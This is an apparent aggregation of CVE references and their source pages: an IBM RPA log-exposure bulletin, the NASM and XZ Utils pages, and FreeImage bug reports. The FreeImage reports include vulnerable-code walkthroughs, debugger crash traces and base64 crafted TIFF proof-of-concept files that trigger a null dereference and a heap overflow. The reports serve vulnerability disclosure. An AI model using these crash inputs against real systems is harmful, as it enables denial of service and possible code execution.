
IBM Robotic Process Automation 21.0.0 through 21.0.7 server could allow an authenticated user to view sensitive information from application logs. IBM X-Force ID: 262289.



  

**Summary**

IBM Robotic Process Automation is vulnerable to exposure of sensitive information in application logs. In specific error conditions, a login id may be logged to the application log un-obfuscated. (CVE-2023-38732)

**Vulnerability Details**

**CVEID:**   CVE-2023-38732  
**DESCRIPTION:**   IBM Robotic Process Automation server could allow an authenticated user to view sensitive information from application logs.  
CVSS Base score: 4.3  
CVSS Temporal Score: See: https://exchange.xforce.ibmcloud.com/vulnerabilities/262289 for the current score.  
CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)

**Affected Products and Versions**

Affected Product(s)

Version(s)

IBM Robotic Process Automation

21.0.0 - 21.0.7

IBM Robotic Process Automation for Cloud Pak

21.0.0 - 21.0.7

**Remediation/Fixes**

**IBM strongly recommends addressing the vulnerability now.**

**Product(s)**

**Version(s) number and/or range** 

**Remediation/Fix/Instructions**

IBM Robotic Process Automation

21.0.0 - 21.0.7

Download 21.0.7.1 or higher and follow these instructions.

IBM Robotic Process Automation for Cloud Pak

21.0.0 - 21.0.7

Update to 21.0.7.1 or higher using the following instructions. 

**Workarounds and Mitigations**

**Workarounds/Mitigation guidance**:

Remove older application logs that were created in versions 21.0.0 - 21.0.7.

**References**

Off

**Acknowledgement**

Mariana Penna (IBM)

**Change History**

21 Aug 2023: Initial Publication

\*The CVSS Environment Score is customer environment specific and will ultimately impact the Overall CVSS Score. Customers can evaluate the impact of this vulnerability in their environments by accessing the links in the Reference section of this Security Bulletin.

**Disclaimer**

According to the Forum of Incident Response and Security Teams (FIRST), the Common Vulnerability Scoring System (CVSS) is an "industry open standard designed to convey vulnerability severity and help to determine urgency and priority of response." IBM PROVIDES THE CVSS SCORES ""AS IS"" WITHOUT WARRANTY OF ANY KIND, INCLUDING THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. CUSTOMERS ARE RESPONSIBLE FOR ASSESSING THE IMPACT OF ANY ACTUAL OR POTENTIAL SECURITY VULNERABILITY. In addition to other efforts to address potential vulnerabilities, IBM periodically updates the record of components contained in our product offerings. As part of that effort, if IBM identifies previously unidentified packages in a product/service inventory, we address relevant vulnerabilities regardless of CVE date. Inclusion of an older CVEID does not demonstrate that the referenced product has been used by IBM since that date, nor that IBM was aware of a vulnerability as of that date. We are making clients aware of relevant vulnerabilities as we become aware of them. "Affected Products and Versions" referenced in IBM Security Bulletins are intended to be only products and versions that are supported by IBM and have not passed their end-of-support or warranty date. Thus, failure to reference unsupported or extended-support products and versions in this Security Bulletin does not constitute a determination by IBM that they are unaffected by the vulnerability. Reference to one or more unsupported versions in this Security Bulletin shall not create an obligation for IBM to provide fixes for any unsupported or extended-support products or versions.

**Document Location**

Worldwide

\[{"Business Unit":{"code":"BU059","label":"IBM Software w\\/o TPS"},"Product":{"code":"SSC50T","label":"IBM Robotic Process Automation"},"Component":"","Platform":\[{"code":"PF033","label":"Windows"},{"code":"PF040","label":"RedHat OpenShift"}\],"Version":"21.0.0 - 21.0.7","Edition":"","Line of Business":{"code":"LOB45","label":"Automation"}}\]

CVE-2023-38732: IBM Robotic Process Automation is vulnerable to exposure of sensitive information in application logs (CVE-2023-38732)

FreeImage before 1.18.0, ReadPalette function in PluginTIFF.cpp is vulnerabile to null pointer dereference.

> tl;dr:  
> When Load TIFF format files, "bitspersample" and "samplesperpixel" are read from file. If the variable biBitCount < 16 witch calc by "bitspersample" and "samplesperpixel", FreeImage will try to write nullptr.

When the program reads a TIFF format file, it will be handed to the Load() function of the 'PluginTIFF.cpp' file. And it will call ReadPalette().  
In ReadPalette function, it call FreeImage\_GetPalette() to get variable "pal", then write to variable "pal" without check.

static void 
ReadPalette(TIFF \*tiff, uint16\_t photometric, uint16\_t bitspersample, FIBITMAP \*dib) {
    RGBQUAD \*pal \= FreeImage\_GetPalette(dib);               // <---- get pal (maybe null)

    switch(photometric) {                                   // <---- write pal every case
        case PHOTOMETRIC\_MINISBLACK:    // bitmap and greyscale image types
        case PHOTOMETRIC\_MINISWHITE:
            // Monochrome image

            if (bitspersample \== 1) {
                if (photometric \== PHOTOMETRIC\_MINISWHITE) {
                    pal\[0\].rgbRed \= pal\[0\].rgbGreen \= pal\[0\].rgbBlue \= 255;         //<---- write
                    pal\[1\].rgbRed \= pal\[1\].rgbGreen \= pal\[1\].rgbBlue \= 0;
                } else {
                    pal\[0\].rgbRed \= pal\[0\].rgbGreen \= pal\[0\].rgbBlue \= 0;          //<---- write
                    pal\[1\].rgbRed \= pal\[1\].rgbGreen \= pal\[1\].rgbBlue \= 255;
                }

            } else if ((bitspersample \== 4) ||(bitspersample \== 8)) {
                // need to build the scale for greyscale images
                int ncolors \= FreeImage\_GetColorsUsed(dib);

                if (photometric \== PHOTOMETRIC\_MINISBLACK) {
                    for (int i \= 0; i < ncolors; i++) {
                        pal\[i\].rgbRed   \=                                        //<---- write
                        pal\[i\].rgbGreen \=
                        pal\[i\].rgbBlue  \= (BYTE)(i\*(255/(ncolors\-1)));
                    }
                } else {
                    for (int i \= 0; i < ncolors; i++) {
                        pal\[i\].rgbRed   \=                                        //<---- write
                        pal\[i\].rgbGreen \=
                        pal\[i\].rgbBlue  \= (BYTE)(255\-i\*(255/(ncolors\-1)));
                    }
                }
            }

            break;

        case PHOTOMETRIC\_PALETTE:   // color map indexed
            uint16\_t \*red;
            uint16\_t \*green;
            uint16\_t \*blue;

            TIFFGetField(tiff, TIFFTAG\_COLORMAP, &red, &green, &blue); 

            // load the palette in the DIB

            if (CheckColormap(1<<bitspersample, red, green, blue) \== 16) {
                for (int i \= (1 << bitspersample) \- 1; i \>= 0; i\--) {
                    pal\[i\].rgbRed \=(BYTE) CVT(red\[i\]);                             //<---- write
                    pal\[i\].rgbGreen \= (BYTE) CVT(green\[i\]);
                    pal\[i\].rgbBlue \= (BYTE) CVT(blue\[i\]);
                }
            } else {
                for (int i \= (1 << bitspersample) \- 1; i \>= 0; i\--) {
                    pal\[i\].rgbRed \= (BYTE) red\[i\];                                 //<---- write
                    pal\[i\].rgbGreen \= (BYTE) green\[i\];
                    pal\[i\].rgbBlue \= (BYTE) blue\[i\];
                }
            }

            break;
    }
}

function FreeImage\_GetPalette() maybe return NULL.

FreeImage\_GetPalette(FIBITMAP \*dib) {
    return (dib && FreeImage\_GetBPP(dib) < 16) ? (RGBQUAD \*)(((BYTE \*)FreeImage\_GetInfoHeader(dib)) + sizeof(BITMAPINFOHEADER)) : NULL;
}

unsigned DLL\_CALLCONV
FreeImage\_GetBPP(FIBITMAP \*dib) {
    return dib ? FreeImage\_GetInfoHeader(dib)\->biBitCount : 0;
}

Variable biBitCount is calc by "bitspersample" and "samplesperpixel" in function "CreateImageType", and these two variable are read from file.  
So if variable biBitCount less than 16, FreeImage will try to write nullptr. It allows an attacker to cause Denial of Service.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(17dc.5d5c): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=2b110000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=0095f420 ebp\=0095f44c iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(17dc.5d5c): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=000000ff ebx\=069ceff8 ecx\=00000000 edx\=00000000 esi\=00000000 edi\=00000000
eip\=10034fbc esp\=0095f63c ebp\=00000000 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010246
FreeImage!\_TIFFmemcmp+0x3fc:
10034fbc 884500          mov     byte ptr \[ebp\],al          ss:002b:00000000\=??
0:000\> kv
 \# ChildEBP RetAddr      Args to Child
00 0095f658 10037780     00000001 00000010 06982fc8 FreeImage!\_TIFFmemcmp+0x3fc (FPO: \[Uses EBP\] \[2,5,4\])
01 0095f8a0 1000d9de     0095f8f4 06982fc8 00000010 FreeImage!\_TIFFmemcmp+0x2bc0 (FPO: \[5,139,3\])
02 0095f8d4 1000da60     00000012 0095f8f4 06982fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
03 0095f900 00b0107b     00000012 0697efee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAHAAABAwABAAAAIAAAAAEBAwABAAAAIAAAABcBBAAMAAAACAAAABEBBAAEAAAACAAAABYBAwABAAAAAAQAABUBAwABAAAAEAAAAEMBAwABAAAAAQAAAAAAAAA\=

CVE-2021-40266: FreeImage / Bugs / #334 A NULL pointer dereference exists in function ReadPalette() located in PluginTIFF.cpp

Buffer overflow vulnerability in quote_for_pmake in asm/nasm.c in nasm before 2.15.05 allows attackers to cause a denial of service via crafted file.

NameLast modifiedSizeDescription

Parent Directory  -   doc/2020-08-28 09:05 - Online documentation dos/2020-08-28 09:08 - MS-DOS executables linux/2020-08-28 09:08 - Linux packages macosx/2020-08-28 09:08 - MacOS X packages win32/2020-08-28 09:08 - Windows packages (32 bit) win64/2020-08-28 09:08 - Windows packages (64 bit) git.id2020-08-28 09:08 41 Corresponding git revision ID nasm-2.15.05-xdoc.tar.bz22020-08-28 09:05 900KDownloadable documentation nasm-2.15.05-xdoc.tar.gz2020-08-28 09:05 1.0MDownloadable documentation nasm-2.15.05-xdoc.tar.xz2020-08-28 09:05 804KDownloadable documentation nasm-2.15.05-xdoc.zip2020-08-28 09:05 1.0MDownloadable documentation nasm-2.15.05.tar.bz22020-08-28 09:04 1.2MSource code nasm-2.15.05.tar.gz2020-08-28 09:04 1.6MSource code nasm-2.15.05.tar.xz2020-08-28 09:04 972KSource code nasm-2.15.05.zip2020-08-28 09:05 1.8MSource code

CVE-2022-29654: Index of /pub/nasm/releasebuilds/2.15.05

An issue discovered in XZ 5.2.5 allows attackers to cause a denial of service via decompression of crafted file.

XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils.

The core of the XZ Utils compression code is based on LZMA SDK, but it has been modified quite a lot to be suitable for XZ Utils. The primary compression algorithm is currently LZMA2, which is used inside the .xz container format. With typical files, XZ Utils create 30 % smaller output than gzip and 15 % smaller output than bzip2.

XZ Utils consist of several components:

*   liblzma is a compression library with an API similar to that of zlib.
*   xz is a command line tool with syntax similar to that of gzip.
*   xzdec is a decompression-only tool smaller than the full-featured xz tool.
*   A set of shell scripts (xzgrep, xzdiff, etc.) have been adapted from gzip to ease viewing, grepping, and comparing compressed files.
*   Emulation of command line tools of LZMA Utils eases transition from LZMA Utils to XZ Utils.

While liblzma has a zlib-like API, liblzma doesn't include any file I/O functions. A separate I/O library is planned, which would abstract handling of .gz, .bz2, and .xz files with an easy to use API.

**Documentation**

Man page with a keyword index: xz(1)

Doxygen-generated liblzma API documentation is also included in the source packages since XZ Utils 5.4.2.

**Source code**

Versions 5.2.12, 5.4.3, and later have been signed with Jia Tan's OpenPGP key. The older files have been signed with Lasse Collin's OpenPGP key.

See the NEWS file for a summary of changes between versions.

**Stable**

5.4.4 was released on 2023-08-02. A minor bug fix release 5.2.12 to the old stable branch was made on 2023-05-04. This is probably the last release in the 5.2.x series.

XZ Utils releases are hosted on GitHub and thus some of the links below redirect to the XZ Utils release section on GitHub. Release files are also available in the XZ Utils files section on Sourceforge.

xz-5.4.4.tar.gz (2808 KiB) signature  
xz-5.4.4.tar.bz2 (2116 KiB) signature  
xz-5.4.4.tar.zst (1680 KiB) signature  
xz-5.4.4.tar.xz (1623 KiB) signature

Probably the last release of the old stable branch:

xz-5.2.12.tar.gz (2140 KiB) signature  
xz-5.2.12.tar.bz2 (1593 KiB) signature  
xz-5.2.12.tar.zst (1317 KiB) signature  
xz-5.2.12.tar.xz (1275 KiB) signature

**Development**

The new APIs, command line options etc. in development releases should be considered unstable. Incompatible changes to unstable features may be done before they get included in a stable release.

There currently are no development releases.

**Old versions**

Source and binary packages of old XZ Utils releases are available on a separate page.

**Git repository**

The primary repository is on GitHub:

git clone https://github.com/tukaani-project/xz

It is mirrored with some delay to git.tukaani.org:

git clone https://git.tukaani.org/xz.git

Gitweb

Branches:

*   **master**: the latest development code
*   **v5.4**: fixes for the next 5.4.x release
*   **v5.2**: fixes for the next 5.2.x release
*   **v5.0**: fixes for the next 5.0.x release (unmaintained)

Building the code from the git repository requires GNU Autotools. Here are the _minimum_ versions that should work with XZ Utils; using the latest versions is strongly recommended:

*   Autoconf 2.69
*   Automake 1.12
*   gettext 0.19.6 (Note: autopoint depends on cvs!)
*   Libtool 2.4

The following are optional dependencies. The autogen.sh script will fail if they are missing but autogen.sh takes command line arguments to disable these dependencies.

*   po4a is needed for translated documentation (man pages). To build without po4a, use --no-po4a with autogen.sh.
*   Doxygen is needed to generate liblzma API documentation. To build without Doxygen, use --no-doxygen with autogen.sh.

**Security issues****xzgrep CVE-2022-1271, ZDI-CAN-16587**

A patch to fix a security vulnerability in xzgrep (CVE-2022-1271, ZDI-CAN-16587) was made public on 2022-04-07. The patch applies to 4.999.9beta to 5.2.5, 5.3.1alpha, and 5.3.2alpha. Newer XZ Utils releases include an improved fix for the problem.

It is a severe issue if an attacker can control the filenames that are given on the xzgrep command line. The vulnerability was discovered by cleemy desu wayo working with Trend Micro Zero Day Initiative. For more information, see the detailed description in the patch file linked below.

xzgrep-ZDI-CAN-16587.patch  
xzgrep-ZDI-CAN-16587.patch.sig

**Bindings****Python**

Python 3.3 includes bindings for liblzma. A backport of these bindings are available for Python 2 in the backports.lzma package.

lzmaffi is another Python binding which adds random-access decompression support.

The original Python 2 binding for liblzma is PylibLZMA.

**Perl**

Perl bindings for liblzma: IO-Compress-Lzma and Compress-Raw-Lzma.

**Haskell**

Haskell bindings.

**Delphi and Free Pascal**

Bindings and example programs for Delphi and Free Pascal are available here.

**Pre-built binaries**

Many free software operating systems already provide easy-to-install XZ Utils binaries. It doesn't make sense to provide links to all those here. Instead, binaries or links to websites providing binaries are listed here only for operating systems that don't have well-known repositories where users would get software like this.

If you have a website that provides up-to-date XZ Utils binaries for an operating system that meets the the criteria above, let me know and I will include a link here. Note that I won't host the binaries themselves without a good reason.

**Windows**

The Windows version of XZ Utils includes binaries for 32-bit and 64-bit x86. The binaries only depend on msvcrt.dll, which is available on Windows 98 and later out of the box.

*   Command line tools: xz, xzdec, lzmadec, lzmainfo
*   Shared (DLL) and static liblzma, required C header files, and liblzma.def to create import libraries for non-GNU toolchains (no import library is needed with GNU toolchain)
*   Documentation is in plain text (UTF-8) format. The man pages of the command line tools are included also as PDF.

5.2.10, 5.2.11, or 5.2.12 do not have anything significant for Windows so only 5.2.9 is here. 5.4.x builds are not provided for now.

xz-5.2.9-windows.zip (1473 KiB) signature  
xz-5.2.9-windows.7z (708 KiB) signature

**DOS**

The DOS version of XZ Utils includes only the xz command line tool and some documentation. The xz tool should work e.g. on FreeDOS (also in DOSEMU), MS-DOS, and Windows 95/98/98SE/ME. This doesn't necessarily work in DOSBox at all, and at least some problems are expected under Windows XP Command Prompt (signal handling doesn't work).

Since the DOS version is naturally going to get very little testing, it is recommended to use the Windows version instead of the DOS version if you need xz under Windows 98 or later. It is likely that that the DOS version will be updated only occasionally.

5.2.0 and later have experimental support for 8.3 filenames. See xz-dos.txt in the binary package or dos/README.txt in the source package for details.

xz-5.4.0-dos.zip (277 KiB) signature

The package includes some copylefted code from DJGPP and CWSDPMI. The relevant source code is available from their home pages, and copies are also available below.

djlsr205.zip (2000 KiB)  
djtst205.zip (1061 KiB)  
csdpmi7s.zip (88 KiB)

Juan Manuel Guerrero has made a more complete port of XZ Utils to DOS. It also has support for short file names (8.3), but the naming method is different from the one found in 5.2.0 and later. It is available from DJGPP mirrors under /current/v2apps (e.g. xz-500b.zip for 5.0.0 binaries).

**Supported platforms**

Below is an incomplete and somewhat vague (version numbers mostly missing) list of operating systems on which XZ Utils should work. The compiler(s) or toolchains are mentioned in parenthesis. GCC refers to GCC 3 or later. If you have additions or corrections, please email them to me.

*   GNU/Linux (GCC, Clang, ICC, IBM XL C)
*   GNU/HURD (GCC)
*   DragonflyBSD (GCC)
*   FreeBSD (GCC, Clang)
*   MirBSD (GCC)
*   NetBSD (GCC)
*   OpenBSD (Clang, GCC)
*   MINIX 3 (GCC) \[1\]
*   Haiku (GCC4)
*   Mac OS X (GCC)
*   Solaris 8, 9, 10, 11 (GCC, Sun Studio) \[3\]
*   Solaris 2.6, 7 (GCC)
*   HP-UX (GCC, HP ANSI C) \[2\]
*   Tru64 (GCC, Compaq C compiler) \[1\]
*   IRIX (MIPSpro) \[1\]
*   AIX (GCC, IBM XL C)
*   z/OS (IBM XL C)
*   QNX (compilers?)
*   OpenVMS (HP C compiler) \[1\]
*   OpenVOS 17 (GCC)
*   SCO OpenServer 5.0.7 (GCC 3.4.6, 4.2.4) \[4\]
*   Windows 95 and later (GCC/MinGW, GCC/MinGW-w64, GCC/Cygwin, GCC/Interix, Visual Studio (VS can only build liblzma)) \[1\]
*   OS/2, eComStation (GCC)
*   DOS e.g. FreeDOS and MS-DOS (GCC/DJGPP) \[1\]

\[1\] See also the platform-specific notes in the INSTALL file.

\[2\] 2010-09-22: HP ANSI C compiler crashes when compiling XZ Utils on PA-RISC. On Itanium there are no problems.

\[3\] On Solaris 8 and 9 one may need to pass ac\_cv\_prog\_cc\_c99= to configure if using Sun Studio.

\[4\] Use --disable-threads when running configure.

**Licensing**

The most interesting parts of XZ Utils (e.g. liblzma) are in the public domain. You can do whatever you want with the public domain parts.

Some parts of XZ Utils (e.g. build system and some utilities) are under different free software licenses such as GNU LGPLv2.1, GNU GPLv2, or GNU GPLv3.

See the file COPYING for more details.

CVE-2020-22916: XZ Utils

A heap overflow vulnerability in FreeImage 1.18.0 via the ofLoad function in PluginTIFF.cpp.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Code
*   Tickets ▾
    *   Feature Requests
    *   Patches
    *   Bugs
    *   Support Requests
*   News
*   Discussion
*   FreeImage

Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load TIFF files, "ImageWidth" and "TileWidth" is read from file. FreeImage alloc memory size is controlled by "ImageWidth", but FreeImage write memory size if controlled by "TileWidth". if result of "TileWidth" diff with "ImageWidth", it will writing data more than the allocated memory.

When the program reads a TIFF file, it will be handed to the Load function of the 'PluginTIFF.cpp' file,  
in Load function, we alloc memory by CreateImageType(), and write memory in Load function with "memcpy". And the "height", "width", "bitspersample", "samplesperpixel", "tileRowSize" and "imageRowSize" is read from file.

static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
......
    uint32\_t height \= 0; 
    uint32\_t width \= 0; 
    uint16\_t bitspersample \= 1;
    uint16\_t samplesperpixel \= 1;
......
        TIFFGetField(tif, TIFFTAG\_IMAGEWIDTH, &width);
        TIFFGetField(tif, TIFFTAG\_IMAGELENGTH, &height);
        TIFFGetField(tif, TIFFTAG\_SAMPLESPERPIXEL, &samplesperpixel);
        TIFFGetField(tif, TIFFTAG\_BITSPERSAMPLE, &bitspersample);
        TIFFGetField(tif, TIFFTAG\_ROWSPERSTRIP, &rowsperstrip);             
        TIFFGetField(tif, TIFFTAG\_ICCPROFILE, &iccSize, &iccBuf);
        TIFFGetFieldDefaulted(tif, TIFFTAG\_PLANARCONFIG, &planar\_config);
.......
        // \---------------------------------------------------------------------------------

        if(loadMethod \== LoadAsRBGA) {
......
        } else if(loadMethod \== LoadAsTiled) {
            // \---------------------------------------------------------------------------------
            // Tiled image loading
            // \---------------------------------------------------------------------------------

            uint32\_t tileWidth, tileHeight;
            uint32\_t src\_line \= 0;

            // create a new DIB                                                     v\-------- alloc memory there
            dib \= CreateImageType( header\_only, image\_type, width, height, bitspersample, samplesperpixel);
......
                // calculate src line and dst pitch
                unsigned dst\_pitch \= FreeImage\_GetPitch(dib);
                uint32\_t tileRowSize \= (uint32\_t)TIFFTileRowSize(tif);
                uint32\_t imageRowSize \= (uint32\_t)TIFFScanlineSize(tif);

                // In the tiff file the lines are saved from up to down 
                // In a DIB the lines must be saved from down to up

                BYTE \*bits \= FreeImage\_GetScanLine(dib, height \- 1);

                for (uint32\_t y \= 0; y < height; y += tileHeight) {                 // <---- write memory there     
                    int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);                    

                    for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) {
                        memset(tileBuffer, 0, tileSize);

                        // read one tile
                        if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
                            free(tileBuffer);
                            throw "Corrupted tiled TIFF file";
                        }
                        // convert to strip
                        if(x + tileWidth \> width) {
                            src\_line \= imageRowSize \- rowSize;
                        } else {
                            src\_line \= tileRowSize;
                        }
                        BYTE \*src\_bits \= tileBuffer;
                        BYTE \*dst\_bits \= bits + rowSize;
                        for(int k \= 0; k < nrows; k++) {
                            memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
                            src\_bits += tileRowSize;
                            dst\_bits \-= dst\_pitch;
                        }
                    }

                    bits \-= nrows \* dst\_pitch;
                }
......
}

CreateImageType() alloc memory by "width","height","bitspersample" and "samplesperpixel".

static FIBITMAP\* 
CreateImageType(BOOL header\_only, FREE\_IMAGE\_TYPE fit, int width, int height, uint16\_t bitspersample, uint16\_t samplesperpixel) {
    FIBITMAP \*dib \= NULL;
......
    int bpp \= bitspersample \* samplesperpixel;      //<---- bpp == bitspersample \* samplesperpixel
......
    dib \= FreeImage\_AllocateHeader(header\_only, width, height, bpp, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
    return dib;
}

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
......

        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);      //<---- calc alloc size by bpp, width and height

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

        bitmap\->data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);   //<---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
if(!header\_only) {
const size\_t header\_size \= dib\_size;

// pixels are aligned on a 16 bytes boundary
dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<--- alloc size by line lenght \* height, line lenght calc by width and bpp( \= bitspersample \* samplesperpixel)
......
}

return dib\_size;
}

but when we write memory, the read size calc by "tileWidth" and "width", loop (tileHeight//height) \* (tileWidth//width) times.

                for (uint32\_t y \= 0; y < height; y += tileHeight) {                                            //<-- loop tileHeight//height times
                    int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);                    

                    for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) { //<-- loop tileWidth//width times
                        memset(tileBuffer, 0, tileSize);

                        // read one tile
                        if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
                            free(tileBuffer);
                            throw "Corrupted tiled TIFF file";
                        }
                        // convert to strip
                        if(x + tileWidth \> width) {
                            src\_line \= imageRowSize \- rowSize;
                        } else {
                            src\_line \= tileRowSize;
                        }
                        BYTE \*src\_bits \= tileBuffer;
                        BYTE \*dst\_bits \= bits + rowSize;
                        for(int k \= 0; k < nrows; k++) {
                            memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
                            src\_bits += tileRowSize;
                            dst\_bits \-= dst\_pitch;
                        }
                    }

                    bits \-= nrows \* dst\_pitch;
                }

Finally, it will cause the heap overflow if we make the result of "TileWidth" diff with "ImageWidth". Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(8b8c.710): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=dd680000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=006ff63c ebp\=006ff668 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(8b8c.710): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=00000049 ebx\=00000008 ecx\=00000001 edx\=00000001 esi\=06667fd0 edi\=06662000
eip\=102a6e8f esp\=006ff86c ebp\=006ffa58 iopl\=0         nv up ei pl nz na po nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010202
FreeImage!memcpy+0x51f:
102a6e8f 8807            mov     byte ptr \[edi\],al          ds:002b:06662000\=??
0:000\> db edi\-0x20
06661fe0  00 00 00 00 00 00 00 00\-2a 2a 2a 2a 2a 2a 2a 2a  ........\*\*\*\*\*\*\*\*
06661ff0  49 49 49 49 49 49 49 49-49 49 49 49 49 49 49 49  IIIIIIIIIIIIIIII
06662000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 006ff870 100378e8     06662000 06667fd0 00000001 FreeImage!memcpy+0x51f (FPO: \[3,0,2\]) (CONV: cdecl) \[d:\\agent\\\_work\\4\\s\\src\\vctools\\crt\\vcruntime\\src\\string\\i386\\memcpy.asm @ 669\] 
01 006ffabc 1000d9de     006ffb10 06619fc8 06667fd0 FreeImage!\_TIFFmemcmp+0x2d28 (FPO: \[5,139,3\])
02 006ffaf0 1000da60     00000012 006ffb10 06619fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
03 006ffb1c 00b0107b     00000012 06615fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAGAAABAwABAAAAMAAwMAEBAwABAAAAMAAwMBcBBAAYAAAACAAAABEBAwABAAAAMAABABYBAwABAAAAMAABAEIBAwABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\=

**2 Attachments**

**Discussion**

Log in to post a comment.

CVE-2021-40263: FreeImage / Bugs / #336 A heap_overflow on PluginTIFF.cpp when Load() TIFF

A heap overflow bug exists FreeImage before 1.18.0 via ofLoad function in PluginJPEG.cpp.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Code
*   Tickets ▾
    *   Feature Requests
    *   Patches
    *   Bugs
    *   Support Requests
*   News
*   Discussion
*   FreeImage

Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load SOF(Start Of Frame) JPEG files, "components" of SOF is read from file. FreeImage alloc memory size is controlled by "components" , but sometime FreeImage replace default size to alloc. if "components" is greater than default in alloc function, it will writing data more than the allocated memory.

When the program reads a JPEG file, it will be handed to the Load function of the 'PluginJPEG.cpp' file,  
in Load function, we alloc memory by FreeImage\_AllocateHeader(), and write memory in jpeg\_read\_scanlines(). And the "components" is read from file.

